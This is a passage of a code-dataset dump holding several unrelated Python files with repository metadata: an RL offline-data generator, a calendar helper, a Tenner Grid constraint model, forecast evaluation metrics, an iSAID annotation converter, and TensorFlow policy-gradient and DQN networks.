num_trials:\n total_attempts += 1\n obs_dict = env.reset()\n prev_action_dict = {f\"agent_{i}\": np.zeros_like(env.action_space.sample()) for i in range(num_agents)}\n prev_reward_dict = {f\"agent_{i}\": 0 for i in range(num_agents)}\n done = False\n t = 0\n while not done:\n # action = env.action_space.sample()\n action = env.env.simulation.get_scenic_designated_player_action()\n action_dict = {f\"agent_{i}\": action[i] for i in range(num_agents)}\n\n new_obs_dict, rew_dict, done_dict, info_dict = env.step(action_dict)\n done = done_dict[\"__all__\"]\n\n for i in range(num_agents):\n agent_id = f\"agent_{i}\"\n policy_id = f\"policy_{i}\"\n batch_builder.add_values(\n agent_id,\n policy_id,\n t=t,\n eps_id=eps_id,\n agent_index=i,\n obs=prep.transform(obs_dict[agent_id]),\n actions=action_dict[agent_id],\n action_prob=1.0, # put the true action probability here\n action_logp=0.0,\n rewards=rew_dict[agent_id],\n prev_actions=prev_action_dict[agent_id],\n prev_rewards=prev_reward_dict[agent_id],\n dones=done,\n infos=None, # info is skipped to reduce file size\n new_obs=prep.transform(new_obs_dict[agent_id]),\n )\n obs_dict = new_obs_dict\n prev_action_dict = action_dict\n prev_reward_dict = rew_dict\n t += 1\n batch_builder.count = t\n\n # we only record if this run scores \n candidate_batch = batch_builder.build_and_reset()\n if prev_reward_dict[\"agent_0\"] == 1:\n writer.write(candidate_batch)\n eps_id += 1\n total_reward += prev_reward_dict[\"agent_0\"]\n pbar.update(1)\n \n pbar.close()\n print(f\"Done generating data. Dataset score: {total_reward/num_trials}. Avg Score: {total_reward/total_attempts}.\")\n","repo_name":"BerkeleyLearnVerify/Scenic4RL","sub_path":"training/gfrl/experiments/gen_offline_data.py","file_name":"gen_offline_data.py","file_ext":"py","file_size_in_byte":7766,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"9576032292","text":"## Script (Python) \"getDaysOfTheWeek\"\n##bind container=container\n##bind context=context\n##bind namespace=\n##bind script=script\n##bind subpath=traverse_subpath\n##parameters=\n##title=Get the days of the week in proper order for display\n##\n\"\"\"\nreturns a list of the names of the seven days of the week, in a proper order \n for use on the calendar month view. \n\nmodified for CalendarX 0.4.0(dev) to use context instead of skinobj\nReleased under the GPL (see LICENSE.txt)\nfirst, try to get these from the calendar_properties sheet \ndowts = integer representing \"day of week to start\" on for each week\n\"\"\"\ntry:\n dowts = int(context.getCXAttribute('dayOfWeekToStart'))\nexcept:\n dowts = 0\n\n\ndayList = []\nseedSunday = DateTime('2004/07/25')\nfor day in range(7):\n theDay = str((seedSunday + day).Day())\n dayList.append(theDay)\n\n\n#make a new list, adjusting for the dowts\nnewDayList = []\nfor d in range(7):\n dayNum = d + dowts\n if dayNum > 6:\n dayNum = dayNum -7\n if dayNum > 6 or dayNum < -7:\n dayNum = 0\n newDayList.append(dayList[dayNum])\n\nreturn newDayList\n\n","repo_name":"collective/Products.CalendarX","sub_path":"Products/CalendarX/skins/CalendarX/getDaysOfTheWeek.py","file_name":"getDaysOfTheWeek.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13431181643","text":"'''\nConstruct and return Tenner Grid CSP models.\nAuthor: Richard Salas Chavez\n'''\n\nfrom cspbase import *\nimport itertools\n\n########################################################################################################################\ndef tenner_csp_model_1(initial_tenner_board):\n '''Return a CSP object representing a Tenner Grid CSP problem along\n with an array of variables for the problem. That is return\n\n tenner_csp, variable_array\n\n where tenner_csp is a csp representing tenner grid using model_1 and variable_array is a list of lists such that\n variable_array[i][j] is the Variable (object) that you built to represent the value to be placed in cell i,j of\n the Tenner Grid (only including the first n rows, indexed from (0,0) to (n,9)) where n can be 3 to 8.\n\n The input board is specified as a pair (n_grid, last_row).\n The first element in the pair is a list of n length-10 lists.\n Each of the n lists represents a row of the grid.\n If a -1 is in the list it represents an empty cell.\n Otherwise if a number between 0--9 is in the list then this represents a pre-set board position.\n E.g., the board\n\n ---------------------\n |6| |1|5|7| | | |3| |\n | |9|7| | |2|1| | | |\n | | | | | |0| | | |1|\n | |9| |0|7| |3|5|4| |\n |6| | |5| |0| | | | |\n ---------------------\n would be represented by the list of lists\n\n [[6, -1, 1, 5, 7, -1, -1, -1, 3, -1],\n [-1, 9, 7, -1, -1, 2, 1, -1, -1, -1],\n [-1, -1, -1, -1, -1, 0, -1, -1, -1, 1],\n [-1, 9, -1, 0, 7, -1, 3, 5, 4, -1],\n [6, -1, -1, 5, -1, 0, -1, -1, -1,-1]]\n\n This routine returns model_1 which consists of a variable for\n each cell of the board, with domain equal to {0-9} if the board\n has a 0 at that position, and domain equal {i} if the board has\n a fixed number i at that cell.\n\n model_1 contains BINARY CONSTRAINTS OF NOT-EQUAL between\n all relevant variables (e.g., all pairs of variables in the\n same row, etc.).\n model_1 also constains n-nary constraints of sum constraints for each\n column.\n '''\n\n board = initial_tenner_board[0] # initial_tenner_board is a list with two entries: the board and the sum of the cols\n col_sums = initial_tenner_board[1]\n\n var_array, var_array_csp = make_variable_array(board)\n tenner_csp = CSP(\"model_1\", var_array_csp) # make model_1 csp object\n\n sum_constraints(var_array, col_sums, tenner_csp)\n no_rep_row_bi(var_array, tenner_csp)\n check_adjacent_bi(var_array, tenner_csp)\n\n return tenner_csp, var_array\n########################################################################################################################\n\n\n\n\n'''\n makes an Variable object array the same size as the initial tenner board\n initializes each variables domain as a specific value if a value is specified\n otherwise if the value is -1 initializes the value to a list of the possible values it can be\n'''\n########################################################################################################################\ndef make_variable_array(initial_tenner_board):\n var_array = []\n csp_array = []\n for i, row in enumerate(initial_tenner_board):\n new_row = []\n var_array.append(new_row)\n for j, val in enumerate(row):\n value = []\n if val == -1:\n for n in range(10):\n if n not in initial_tenner_board[i]:\n value.append(n) # make a variable\n else:\n value.append(val)\n\n variable = Variable(\"tenner_grid_var\", value)\n new_row.append(variable)\n csp_array.append(variable)\n\n return var_array, csp_array\n########################################################################################################################\n\n\n'''\n generates n-nary constraints (constraint between n variables, in our case n is the number of rows) that ensures that\n all values in a column add up to the specified sum provided.\n loop through the variable arrays rows\n ery row has 10 entries so we should make 10 + 9 + 8 + 7 + 6 + 5 + 4 + 3 + 2 + 1 combinations of constraints\n he above is accomplished with a offset double for loop\n'''\n########################################################################################################################\ndef sum_constraints(variable_array, sums, csp):\n num_rows = len(variable_array)\n name = \"sum_col_\"\n\n for col in range(10): # goes through every column\n scope = [variable_array[i][col] for i in range(num_rows)] # gets column\n\n name += str(col)\n new_c = Constraint(name, scope) # make constraint for\n tot_sum = sums[col] # what the variables in that column should add up to\n\n cur_domains = []\n for v in scope: # go through scope and get cur_domains of each var\n cur_domains.append(tuple(v.cur_domain()))\n\n all_pos_sums = list(itertools.product(*cur_domains))\n\n satisfying_sums = []\n for s in all_pos_sums:\n if sum(s) == tot_sum:\n satisfying_sums.append(s) # add to constraint\n\n new_c.add_satisfying_tuples(satisfying_sums)\n csp.add_constraint(new_c)\n########################################################################################################################\n\n\n'''\n generates binary constraints (constraint between two variables) that ensure that all values in row are different.\n loop through the variable arrays rows\n every row has 10 entries so we should make 10 + 9 + 8 + 7 + 6 + 5 + 4 + 3 + 2 + 1 combinations of constraints\n the above is accomplished with a offset double for loop\n'''\n#######################################################################################s#################################\ndef no_rep_row_bi(variable_array, csp):\n name = \"no_rep_binary_row_\"\n for n, row in enumerate(variable_array): # loop through each row\n name += str(row) + \"_\"\n\n # double for loop to accomplish different combinations of variables. That is, given 10 variables\n # (a, b, c, ..., h, i, j) => (a,b),(a,c), ..., (a,j) constraints are necessary to ensure value doesn't repeat\n for i in range(0, 9):\n v1 = row[i]\n name += str(v1) + \"_\"\n\n for j in range(i+1, 10):\n v2 = row[j]\n name += str(v2) + \"_\"\n\n c = Constraint(name, [v1, v2])\n c_flip = Constraint(name, [v2, v1]) # since order matters in scope\n\n sat_pairs = binary_not_equal_constraints(v1, v2, False)\n c.add_satisfying_tuples(sat_pairs)\n csp.add_constraint(c)\n\n########################################################################################################################\n\n\n'''\n given two variables will generate all permutations for those variables current domains given that the same\n value does not repeat\n'''\n########################################################################################################################\ndef binary_not_equal_constraints(v1, v2, flip=False):\n v1_dom = v1.cur_domain()\n v2_dom = v2.cur_domain()\n all_doms = [v1_dom,v2_dom]\n\n sat_pairs = []\n sat_pairs_flipped = []\n\n for tup in itertools.product(*all_doms):\n if no_repeat(tup):\n sat_pairs.append(tup)\n flip_tup = [tup[1],tup[0]]\n sat_pairs_flipped.append(tuple(flip_tup))\n\n if flip:\n return sat_pairs, sat_pairs_flipped\n\n return sat_pairs\n########################################################################################################################\n\n\n'''\n given a position in a tenner board variable array returns a list of tuples (x,y) that must be added to the current\n location indexes to get to the surrounding cells\n'''\n########################################################################################################################\ndef get_surr_cells_loc(num_rows, i, j):\n if (0 < i < (num_rows - 1)) and (0 < j < 9): # check if in middle\n check = [(1, 0), (-1, 0), (-1, -1), (-1, 1), (1, 1), (1, -1)] # checks cells above , below and diagonal to it\n\n elif (i == 0) and (0 < j < 9): # if top row not top corners\n check = [(1, 0), (1, -1), (1, 1)]\n\n elif (i == (num_rows - 1)) and (0 < j < 9): # if bottom row not bottom corners\n check = [(-1, 0), (-1, -1), (-1, 1)]\n\n elif (j == 0) and (0 < i < (num_rows - 1)): # left column but not corners\n check = [(1, 0), (-1, 0), (-1, 1), (1, 1)]\n\n elif (j == 9) and (0 < i < (num_rows - 1)): # right column but not corners\n check = [(1, 0), (-1, 0), (-1, -1), (1, -1)]\n\n elif (i == 0) and (j == 0): # top left corner\n check = [(1, 0), (1, 1)]\n\n elif (i == 0) and (j == 9): # top right corner\n check = [(1, 0), (1, -1)]\n\n elif (i == (num_rows - 1)) and (j == 0): # bottom left corner\n check = [(-1, 0), (-1, 1)]\n\n elif (i == (num_rows - 1)) and (j == 9): # bottom right corner\n check = [(-1, 0), (-1, -1)]\n\n else:\n check = [(0, 0)] # should not get here but if it does returning (0,0) wil not create any wrong constraints\n\n return check\n########################################################################################################################\n\n\n'''\n Checks adjacent cells including diagonals to apply correct contraints\n The constraint is that any cell cannot have any of the value directly around it being the same (including diagonals)\n we don't add adjacent row constraints since these are taken care of by no_rep_row_bi\n just need to check columns and diagonals\n'''\n########################################################################################################################\ndef check_adjacent_bi(var_array, csp):\n # loop through array\n num_rows = len(var_array)\n\n for i, row in enumerate(var_array):\n for j in range(10):\n # for columns we will only find constraints with cell below and flip constraints as they will be the same\n check = get_surr_cells_loc(num_rows, i, j)\n cur_cell = var_array[i][j]\n\n for tup in check:\n x = tup[0]\n y = tup[1]\n\n cell = var_array[i + x][j + y]\n\n sat_pairs = binary_not_equal_constraints(cur_cell, cell, False)\n\n c = Constraint(\"\", [cur_cell, cell])\n c.add_satisfying_tuples(sat_pairs)\n csp.add_constraint(c)\n########################################################################################################################\n\n\n'''\n given a tuple of length n\n checks if that tuple has an entry more than once\n if it does it returns False as there is a repeat\n if it doesnt it return True as there isn't\n'''\n########################################################################################################################\ndef no_repeat(v_tup):\n for val in v_tup: # loop through v_tup (variables) and check if distinct\n if v_tup.count(val) > 1: # found value more than once\n return False\n return True\n########################################################################################################################\n\n\n\n\n########################################################################################################################\ndef tenner_csp_model_2(initial_tenner_board):\n '''Return a CSP object representing a Tenner Grid CSP problem along\n with an array of variables for the problem. That is return\n\n tenner_csp, variable_array\n\n where tenner_csp is a csp representing tenner using model_1\n and variable_array is a list of lists\n\n such that variable_array[i][j] is the Variable (object) that\n you built to represent the value to be placed in cell i,j of\n the Tenner Grid (only including the first n rows, indexed from\n (0,0) to (n,9)) where n can be 3 to 8.\n\n The input board takes the same input format (a list of n length-10 lists\n specifying the board as tenner_csp_model_1.\n\n The variables of model_2 are the same as for model_1: a variable\n for each cell of the board, with domain equal to {0-9} if the\n board has a -1 at that position, and domain equal {i} if the board\n has a fixed number i at that cell.\n\n However, model_2 has different constraints. In particular,\n model_2 has a combination of n-nary\n all-different constraints and binary not-equal constraints: all-different\n constraints for the variables in each row, binary constraints for\n contiguous cells (including diagonally contiguous cells), and n-nary sum\n constraints for each column.\n Each n-ary all-different constraint has more than two variables (some of\n these variables will have a single value in their domain).\n model_2 should create these all-different constraints between the relevant\n variables.\n '''\n\n board = initial_tenner_board[0] # initial_tenner_board is a list with two entries: the board and the sum of the cols\n col_sums = initial_tenner_board[1]\n\n var_array, var_array_csp = make_variable_array(board)\n tenner_csp = CSP(\"model_2\", var_array_csp)\n\n sum_constraints(var_array, col_sums, tenner_csp)\n no_rep_row_n(var_array, tenner_csp)\n check_adjacent_bi(var_array, tenner_csp)\n\n return tenner_csp, var_array\n########################################################################################################################\n\n\n\n\n'''\n similar to no_rep_row_n\n given n variables will generate all permutations for those variables current domains given that the same\n value does not repeat\n'''\n########################################################################################################################\ndef no_rep_row_n(var_array, csp):\n name = \"no_repeat_n_row_\"\n for r, v in enumerate(var_array):\n name += str(r)\n c = Constraint(name, v)\n\n all_row_doms = []\n for val in v:\n all_row_doms.append(val.cur_domain()) # get all domains\n\n sat_vals = []\n for tup in itertools.product(*all_row_doms):\n if no_repeat(tup):\n sat_vals.append(tup)\n\n c.add_satisfying_tuples(sat_vals)\n csp.add_constraint(c)\n########################################################################################################################\n","repo_name":"richard-salaschavez/Tenner-Grid-AI","sub_path":"tenner_csp.py","file_name":"tenner_csp.py","file_ext":"py","file_size_in_byte":14622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70077225707","text":"from multiprocessing import Value\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom tool import *\nfrom matplotlib.pyplot import figure\nfrom sklearn.metrics import r2_score\nfrom sklearn.metrics import mean_absolute_error\nfrom sklearn.metrics import mean_squared_error\n\n#test\ntrue = np.array([[0,1,2,3,4,5,6,7,8,9],[1,2,3,4,5,6,7,8,9,10]])\npred = np.array([[0.2,1.2,2,3,3.7,5,6.2,6.8,7.5,8.5],[0.2,1.2,2,3,3.7,5,6.2,6.8,7.5,8.5]])\ntrue = [0,1,2,3,4,5,6,7,8,9,10]\n\ndef eva_nth_performance(y_true_total, y_pred_total, cluster_num, writer, exp_name, fold):\n df_out = pd.DataFrame()\n y_true_total = y_true_total.transpose()\n y_pred_total = y_pred_total.transpose()\n np_out = []\n for nth in range(y_true_total.shape[0]):\n print(f\"{nth+1}th day\")\n r2 = r2_score(y_true_total[nth],y_pred_total[nth])\n print(\"ACC\",ACC(y_true_total[nth],y_pred_total[nth], 0.1))\n np_out.append(ACC(y_true_total[nth],y_pred_total[nth], 0.1))\n print(\"R2\",r2.round(3))\n np_out.append(r2.round(3))\n print(\"MAE\",mean_absolute_error(y_true_total[nth],y_pred_total[nth]))\n np_out.append(mean_absolute_error(y_true_total[nth],y_pred_total[nth]))\n print(\"MSE\",mean_squared_error(y_true_total[nth],y_pred_total[nth]))\n np_out.append(mean_squared_error(y_true_total[nth],y_pred_total[nth]))\n print(\"RMSE\",np.sqrt(mean_squared_error(y_true_total[nth],y_pred_total[nth])))\n np_out.append(np.sqrt(mean_squared_error(y_true_total[nth],y_pred_total[nth])))\n print(\"--------------\")\n df_out[f'{nth+1}th day'] = np.array(np_out)\n writer.add_scalar('ACC_nth', ACC(y_true_total[nth],y_pred_total[nth], 0.1), nth+1)\n writer.add_scalar('R2_nth', r2.round(3), nth+1)\n writer.add_scalar('MAE_nth', mean_absolute_error(y_true_total[nth],y_pred_total[nth]), nth+1)\n writer.add_scalar('MSE_nth', mean_squared_error(y_true_total[nth],y_pred_total[nth]), nth+1)\n writer.add_scalar('RMSE_nth', np.sqrt(mean_squared_error(y_true_total[nth],y_pred_total[nth])), nth+1)\n np_out = []\n df_out = df_out.set_index(pd.Series(['ACC','R2','MAE','MSE','RMSE']))\n df_out.to_csv(r'D:\\JunShen\\dataset\\dataAfterProcess\\somFeature\\Jiulong(3)\\result evaluation'+ '\\\\' + f'eva_nth_{exp_name}_fold{fold+1}_performance_cluster_{cluster_num}.csv')\n\n\ndef create_hill_marker(y_total): \n hill_marker = [] \n for i in range(len(y_total)-1):\n if y_total[i+1] - y_total[i] > 0:\n marker = 1\n else:\n marker = -1\n hill_marker.append(marker)\n return np.array(hill_marker)\n\n# hill_marker: 1darray\ndef eva_hill(y_true_total_1d, y_pred_total_1d, hill_marker, cluster_num, exp_name,fold):\n df_out = pd.DataFrame()\n np_out = []\n\n uphill = np.where(hill_marker==1, y_true_total_1d[:-1], np.nan)\n uphill = uphill[~np.isnan(uphill)]\n uphill = uphill.astype(np.int16) \n\n downhill = np.where(hill_marker==-1, y_true_total_1d[:-1], np.nan)\n downhill = downhill[~np.isnan(downhill)]\n downhill = downhill.astype(np.int16)\n\n uphill_true = y_true_total_1d[uphill]\n downhill_true = y_true_total_1d[downhill]\n\n uphill_pred = y_pred_total_1d[uphill]\n downhill_pred = y_pred_total_1d[downhill]\n\n print(\"uphill:\")\n r2 = r2_score(uphill_true,uphill_pred)\n print(\"ACC\",ACC(uphill_true, uphill_pred, 0.1))\n np_out.append(ACC(uphill_true, uphill_pred, 0.1))\n print(\"R2\",r2.round(3))\n np_out.append(r2.round(3))\n print(\"MAE\",mean_absolute_error(uphill_true,uphill_pred))\n np_out.append(mean_absolute_error(uphill_true,uphill_pred))\n print(\"MSE\",mean_squared_error(uphill_true,uphill_pred))\n np_out.append(mean_squared_error(uphill_true,uphill_pred))\n print(\"RMSE\",np.sqrt(mean_squared_error(uphill_true,uphill_pred)))\n np_out.append(np.sqrt(mean_squared_error(uphill_true,uphill_pred)))\n print(\"--------------\")\n df_out['uphill'] = np.array(np_out)\n\n np_out = []\n\n print(\"downhill:\")\n r2 = r2_score(downhill_true,downhill_pred)\n print(\"ACC\",ACC(downhill_true, downhill_pred, 0.1))\n np_out.append(ACC(downhill_true, downhill_pred, 0.1))\n print(\"R2\",r2.round(3))\n np_out.append(r2.round(3))\n print(\"MAE\",mean_absolute_error(downhill_true,downhill_pred))\n np_out.append(mean_absolute_error(downhill_true,downhill_pred))\n print(\"MSE\",mean_squared_error(downhill_true,downhill_pred))\n np_out.append(mean_squared_error(downhill_true,downhill_pred))\n print(\"RMSE\",np.sqrt(mean_squared_error(downhill_true,downhill_pred)))\n np_out.append(np.sqrt(mean_squared_error(downhill_true,downhill_pred)))\n print(\"--------------\")\n df_out['downhill'] = np.array(np_out)\n df_out = df_out.set_index(pd.Series(['ACC','R2','MAE','MSE','RMSE']))\n df_out.to_csv(r'D:\\JunShen\\dataset\\dataAfterProcess\\somFeature\\Jiulong(3)\\result evaluation' +'\\\\'+ f'eva_hill_{exp_name}_fold{fold+1}_performance_cluster_{cluster_num}.csv')\n\ndef eva_60days_performance(y_true_total, y_pred_total, cluster_num, exp_name, fold):\n df_out = pd.DataFrame()\n np_out = []\n\n print(\"Total Performance\")\n r2 = r2_score(y_true_total,y_pred_total)\n print(\"R2\",r2.round(3))\n np_out.append(r2.round(3))\n print(\"MAE\",mean_absolute_error(y_true_total,y_pred_total))\n np_out.append(mean_absolute_error(y_true_total,y_pred_total))\n print(\"MSE\",mean_squared_error(y_true_total,y_pred_total))\n np_out.append(mean_squared_error(y_true_total,y_pred_total))\n print(\"RMSE\",np.sqrt(mean_squared_error(y_true_total,y_pred_total)))\n np_out.append(np.sqrt(mean_squared_error(y_true_total,y_pred_total)))\n print(\"--------------\")\n df_out['eva_60days_performance'] = np.array(np_out)\n df_out = df_out.set_index(pd.Series(['R2','MAE','MSE','RMSE']))\n df_out.to_csv(r'D:\\JunShen\\dataset\\dataAfterProcess\\somFeature\\Jiulong(3)\\result evaluation' +'\\\\'+ f'eva_{exp_name}_fold{fold+1}_performance_cluster_{cluster_num}.csv')\n \n return np.array(np_out)","repo_name":"JunShen19/Self-Organizing-Maps","sub_path":"evaluation.py","file_name":"evaluation.py","file_ext":"py","file_size_in_byte":5987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7180310288","text":"# Задача 1 (2 способ)\na = input('Введите семизначное число: ')\nd = 0 # Счетчик четных цифр\nf = 0 # Счетчик нечетных цифр\nc = []\nfor i in a:\n i = int(i)\n c.append(i)\n if i % 2 == 0:\n d += 1\n else:\n f += 1\nif d > f:\n print(sum(c))\nelse:\n print(c[0] * c[2] * c[5])","repo_name":"AlenaSlavinskaya/TheWay","sub_path":"practica/5_1.py","file_name":"5_1.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70542234666","text":"import unittest\nimport sys\n\n\ntest_dirs = [\"groupbn\", \"layer_norm\", \"multihead_attn\", \".\"] # \".\" for test_label_smoothing.py\nROCM_BLACKLIST = [\n \"groupbn\",\n \"layer_norm\"\n]\n\nrunner = unittest.TextTestRunner(verbosity=2)\n\nerrcode = 0\n\nfor test_dir in test_dirs:\n if test_dir in ROCM_BLACKLIST:\n continue\n suite = unittest.TestLoader().discover(test_dir)\n\n print(\"\\nExecuting tests from \" + test_dir)\n\n result = runner.run(suite)\n\n if not result.wasSuccessful():\n errcode = 1\n\nsys.exit(errcode)\n","repo_name":"kkHuang-amd/MLPerf","sub_path":"ImageClassification/resnet50/pytorch/src/fused_lars/fused_lars/contrib/test/run_rocm_extensions.py","file_name":"run_rocm_extensions.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28009313936","text":"#!/usr/bin/env python\n\n# modified by @akshitac8\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom natsort import natsorted\nimport re\nimport argparse\nimport h5py\nimport json\nimport os\nimport scipy.misc\nimport sys\nimport cv2\nimport sys\nimport random\nrandom.seed(0)\n\nimport cityscapesScripts.cityscapesscripts.evaluation.instances2dict_with_polygons as cs\nimport detectron.utils.segms as segms_util\nimport detectron.utils.boxes as bboxs_util\nfrom cityscapesScripts.cityscapesscripts.helpers.labels import *\n\ndef parse_args():\n parser = argparse.ArgumentParser(description='Convert dataset')\n parser.add_argument('--outdir', help=\"path of output directory for json files\", default='./dataset/iSAID_patches', type=str)\n parser.add_argument('--datadir', help=\"root path of dataset (patches)\",default='./dataset/iSAID_patches', type=str)\n parser.add_argument('--set', default=\"train,val\", type=str, help='evaluation mode')\n return parser.parse_args()\n\n\n# for Cityscapes\ndef getLabelID(self, instID):\n if (instID < 1000):\n return instID\n else:\n return int(instID / 1000)\n\n\ndef convert_cityscapes_instance_only(data_dir, out_dir):\n \"\"\"Convert from cityscapes format to COCO instance seg format - polygons\"\"\"\n sets = args.set.split(',')\n for i in sets:\n if i == 'train' or i == 'val':\n ann_dirs = ['train/images','val/images']\n elif i == 'test': # NEED TEST MASK ANNOTATIONS\n ann_dirs = ['test/images']\n else:\n print('Invalid input')\n\n json_name = 'instancesonly_filtered_%s.json'\n img_id = 0\n ann_id = 0\n cat_id = 1\n category_dict = {}\n\n category_instancesonly = [\n 'unlabeled',\n 'ship',\n 'storage_tank',\n 'baseball_diamond',\n 'tennis_court',\n 'basketball_court',\n 'Ground_Track_Field',\n 'Bridge',\n 'Large_Vehicle',\n 'Small_Vehicle',\n 'Helicopter',\n 'Swimming_pool',\n 'Roundabout',\n 'Soccer_ball_field',\n 'plane',\n 'Harbor'\n ]\n for data_set, ann_dir in zip(sets, ann_dirs):\n print('Starting %s' % data_set)\n ann_dict = {}\n images = []\n annotations = []\n ann_dir = os.path.join(data_dir, ann_dir)\n print(ann_dir)\n img_id = 0 # for every image_id with different indexing\n c_images = 0\n for root, _, files in os.walk(ann_dir):\n for filename in natsorted(files):\n if filename.endswith('_color_RGB.png'): #if re.match(r'\\w*\\d+.png', filename) or filename.split('.')[0].count('_')==4:\n #import pdb;pdb.set_trace()\n c_images+=1\n filename = ''.join(filename)\n filename = filename.split('_')[:-3]\n if len(filename) > 1:\n filename = '_'.join(filename)\n else:\n filename = ''.join(filename)\n filename = filename + '.png'\n print(\"Processed %s images\" % (c_images))\n image_dim = cv2.imread(os.path.join(root,filename))\n imgHeight,imgWidth,_ = image_dim.shape\n image = {}\n image['id'] = img_id\n img_id += 1\n image['width'] = imgWidth\n image['height'] = imgHeight\n print(\"Processing Image\",filename)\n image['file_name'] = filename.split('.')[0] + '.png'\n print(\"Processing Image\",image['file_name'])\n image['ins_file_name'] = filename.split('.')[0] + '_instance_id_RGB.png'\n image['seg_file_name'] = filename.split('.')[0] + '_instance_color_RGB.png'\n images.append(image)\n\n #import pdb;pdb.set_trace()\n seg_fullname = os.path.join(root, image['seg_file_name'])\n inst_fullname = os.path.join(root, image['ins_file_name'])\n\n if not os.path.exists(seg_fullname):\n print(\"YOU DONT HAVE TEST MASKS\")\n sys.exit(0)\n objects = cs.instances2dict_with_polygons([seg_fullname],[inst_fullname], verbose=True)\n for k,v in objects.items():\n for object_cls in list(v.keys()):\n if object_cls not in category_instancesonly: #to get the labels only mentioned in category_instancesonly\n continue\n for obj in v[object_cls]:\n if obj['contours'] == []:\n print('Warning: empty contours.')\n continue \n len_p = [len(p) for p in obj['contours']]\n if min(len_p) <= 4:\n print('Warning: invalid contours.')\n continue \n\n ann = {}\n ann['id'] = ann_id\n ann_id += 1\n ann['image_id'] = image['id']\n ann['segmentation'] = obj['contours']\n if object_cls not in category_dict:\n category_dict[object_cls] = label2id[object_cls]\n\n ann['category_id'] = category_dict[object_cls]\n ann['category_name'] = object_cls\n ann['iscrowd'] = 0\n ann['area'] = obj['pixelCount']\n ann['bbox'] = bboxs_util.xyxy_to_xywh(segms_util.polys_to_boxes([ann['segmentation']])).tolist()[0]\n\n #annotations.append(ann)\n if ann['area'] > 10:\n annotations.append(ann)\n\n ann_dict['images'] = images\n categories = [{\"id\": category_dict[name], \"name\": name} for name in category_dict]\n ann_dict['categories'] = categories\n ann_dict['annotations'] = annotations\n print(\"Num categories: %s\" % len(categories))\n print(\"Num images: %s\" % len(images))\n print(\"Num annotations: %s\" % len(annotations))\n with open(os.path.join(os.path.join(out_dir,data_set), json_name % data_set), \"w\") as outfile:\n outfile.write(json.dumps(ann_dict))\n\n\nif __name__ == '__main__':\n args = parse_args()\n convert_cityscapes_instance_only(args.datadir, args.outdir)\n","repo_name":"CAPTAIN-WHU/iSAID_Devkit","sub_path":"preprocess/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":6768,"program_lang":"python","lang":"en","doc_type":"code","stars":120,"dataset":"github-code","pt":"37"} +{"seq_id":"69821051309","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# Created by kong on 2020/8/28\nimport tensorflow as tf\nfrom collections import deque\nimport numpy as np\n\n\nclass PGNetwork:\n def __init__(self, state_size, action_size, learning_rate, name='PGNet'):\n self.state_size = state_size\n self.action_size = action_size\n self.learning_rate = learning_rate\n with tf.variable_scope(name):\n with tf.name_scope(\"inputs\"):\n self.inputs_ = tf.placeholder(tf.float32, [None, *state_size], name='inputs_')\n self.actions = tf.placeholder(tf.int32, [None, action_size], name=\"actions\")\n self.discounted_episode_rewards_ = tf.placeholder(tf.float32, [None, ],\n name=\"discounted_episode_rewards_\")\n self.mean_reward_ = tf.placeholder(tf.float32, name='mean_reward')\n\n with tf.name_scope(\"conv1\"):\n self.conv1 = tf.layers.conv2d(inputs=self.inputs_,\n filters=32,\n kernel_size=[8, 8],\n strides=[4, 4],\n padding='VALID',\n kernel_initializer=tf.contrib.layers.xavier_initializer_conv2d(),\n name='conv1')\n self.conv1_batchnorm = tf.layers.batch_normalization(self.conv1, training=True, epsilon=1e-5,\n name='batch_norm1')\n self.conv1_out = tf.nn.elu(self.conv1_batchnorm, name='conv1_out')\n # --> [20,20,32]\n with tf.name_scope(\"conv2\"):\n self.conv2 = tf.layers.conv2d(inputs=self.conv1_out,\n filters=64,\n kernel_size=[4, 4],\n strides=[2, 2],\n padding='valid',\n kernel_initializer=tf.contrib.layers.xavier_initializer_conv2d(),\n name='conv2')\n self.conv2_batchnorm = tf.layers.batch_normalization(self.conv2, training=True, epsilon=1e-5,\n name='batch_norm2')\n self.conv2_out = tf.nn.elu(self.conv2_batchnorm, name='conv2_out')\n # --> [9,9,64]\n\n with tf.name_scope(\"conv3\"):\n self.conv3 = tf.layers.conv2d(inputs=self.conv2_out,\n filters=128,\n kernel_size=[4, 4],\n strides=[2, 2],\n padding='valid',\n kernel_initializer=tf.contrib.layers.xavier_initializer_conv2d(),\n name='conv3')\n self.conv3_batchnorm = tf.layers.batch_normalization(self.conv3, training=True, epsilon=1e-5,\n name='batch_norm3')\n self.conv3_out = tf.nn.elu(self.conv3_batchnorm, name='conv3_out')\n # --> [3,3,128]\n\n with tf.name_scope(\"flatten\"):\n self.flatten = tf.layers.flatten(self.conv3_out)\n # --> [1152]\n\n with tf.name_scope(\"fc1\"):\n self.fc = tf.layers.dense(inputs=self.flatten, units=512, activation=tf.nn.elu,\n kernel_initializer=tf.contrib.layers.xavier_initializer(), name='fc1')\n with tf.name_scope(\"logits\"):\n self.logits = tf.layers.dense(inputs=self.fc, kernel_initializer=tf.contrib.layers.xavier_initializer(),\n units=3, activation=None)\n\n with tf.name_scope(\"sofxmax\"):\n self.action_distribution = tf.nn.softmax(self.logits)\n with tf.name_scope(\"loss\"):\n self.neg_log_prob = tf.nn.softmax_cross_entropy_with_logits_v2(logits=self.logits, labels=self.actions)\n self.loss = tf.reduce_mean(self.neg_log_prob * self.discounted_episode_rewards_)\n with tf.name_scope(\"train\"):\n self.train_opt = tf.train.RMSPropOptimizer(self.learning_rate).minimize(self.loss)\n\n\nclass DQNetwork:\n def __init__(self, state_size, action_size, learning_rate, name='DQNet'):\n self.state_size = state_size\n self.action_size = action_size\n 